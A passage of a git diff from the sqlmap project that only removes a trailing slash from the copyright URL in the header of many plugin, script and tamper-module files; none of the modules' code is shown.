+Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 15a0c80c3c1..39ed127c6c8 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index ed1b2afb965..35be4806498 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 4d64ff32429..d4bfdfbfbee 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index e1cfd576b94..4a0e59ce74c 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 3829abb07db..ce66c37f18d 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index fa32439ec7e..b97e5420e9c 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 207397353c4..012af53f233 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index a1694a1cf16..4e50bac1e37 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/sqlmap.py b/sqlmap.py index d2ccee74552..37d019e4644 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/sqlmapapi.py b/sqlmapapi.py index dff5fe849da..66b76da4d8d 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/0eunion.py b/tamper/0eunion.py index f289ae4563c..2e116a348d6 100644 --- a/tamper/0eunion.py +++ b/tamper/0eunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/__init__.py b/tamper/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 83a4d612912..9d3152c3b60 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index ee37a8afdeb..594b03667d9 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index b39105ad52a..b16697e4f38 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index fcd9e671589..1ed963e7093 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index c71104c98f4..d14a655fecf 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/binary.py b/tamper/binary.py index b0aaeae4684..1f7cc42a793 100644 --- a/tamper/binary.py +++ b/tamper/binary.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 315f2aef611..3aa5904b070 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 8ac5c16f014..defe013bbba 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index 91c9cb48f45..ddcb3ea47bb 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index c5e4647c0e1..12669091b29 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 4d8480b1734..77e0e87ffcf 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index fdc727584f8..3b0586bf4b9 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 8eb670a190a..5d1d6fc5d79 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index cc44a4cfb6b..57817575a07 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index aeae467c921..33b83b0864d 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/decentities.py b/tamper/decentities.py index 7e4a9c9aa26..9e42d638eae 100644 --- a/tamper/decentities.py +++ b/tamper/decentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/dunion.py b/tamper/dunion.py index 3ea412e6fea..dbe4e41c5f2 100644 --- a/tamper/dunion.py +++ b/tamper/dunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index ad3040845e1..8f2ebc91df3 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py index 2fae7658233..2b367383201 100644 --- a/tamper/equaltorlike.py +++ b/tamper/equaltorlike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index 45a9fbd7a9f..8a767b934c1 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 3671d844809..f38b9e54369 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 01954712880..53dc11f26e9 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 351967b3b9e..6f358383447 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hexentities.py b/tamper/hexentities.py index 6e2da1a424f..2c2c3083991 100644 --- a/tamper/hexentities.py +++ b/tamper/hexentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 201aaf550b7..e18891618d5 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/if2case.py b/tamper/if2case.py index d514c4f86a4..67cd5875b27 100644 --- a/tamper/if2case.py +++ b/tamper/if2case.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 6f47eb50d02..1deea045085 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index caf0c6e7e3a..0210bb3f5e6 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 3b37863a258..99ab3b834ad 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index 1823e0464a5..933c1cf1993 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 6e48446f81b..c5c0354785b 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index 295972958bb..357a38fe884 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py index 8810642724a..56e8a708a96 100644 --- a/tamper/luanginxmore.py +++ b/tamper/luanginxmore.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/misunion.py b/tamper/misunion.py index 0e45005d845..3bf35b5df19 100644 --- a/tamper/misunion.py +++ b/tamper/misunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 90eeeb6a63c..8dd7760c7b3 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index f5943d17dc3..81cfeb955b0 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index d49b0581684..8ae323dbf28 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py index 4207e31bb6d..b8bce6e2887 100644 --- a/tamper/ord2ascii.py +++ b/tamper/ord2ascii.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index a5bc9a90d88..b215e3965b8 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index b716b64b596..f52f1b9dc3e 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index 10917572479..f88b7b688ee 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index b7704218d9f..b6a45ec9fe0 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index f25c33c484a..e92eb96ee2c 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 15150f29b35..1fc9cdc6413 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 993684abae6..eb22ebde956 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py index 66f8a077142..3c188b56055 100644 --- a/tamper/schemasplit.py +++ b/tamper/schemasplit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/scientific.py b/tamper/scientific.py index 33b852e355d..5e5b2daf9b4 100644 --- a/tamper/scientific.py +++ b/tamper/scientific.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py index af29b70fa7e..e7235b6638f 100644 --- a/tamper/sleep2getlock.py +++ b/tamper/sleep2getlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 363ac0509a0..f5092af89ae 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index da7a3780bc3..7993a385be3 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 25b4c7c0b8d..8fc9fcb2279 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 95531ee1cdb..8e2e76a69aa 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 89eb4670799..af7349625ee 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index f06d35eb581..3845115ac26 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index df1ca89c723..f6633a60749 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index ee57c7ba1b3..81f626f770c 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 09481eece82..219b7a9c856 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 6207916f54e..b592e672f6c 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index f094577f7ce..60557615463 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index c5905ad28eb..c1355f3591d 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index e3be66baea6..3c265be79c6 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 9f5298c91a1..4270ada54c1 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 17692baf9e7..56776c1bd67 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index f933331d097..23f4ca5a164 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py 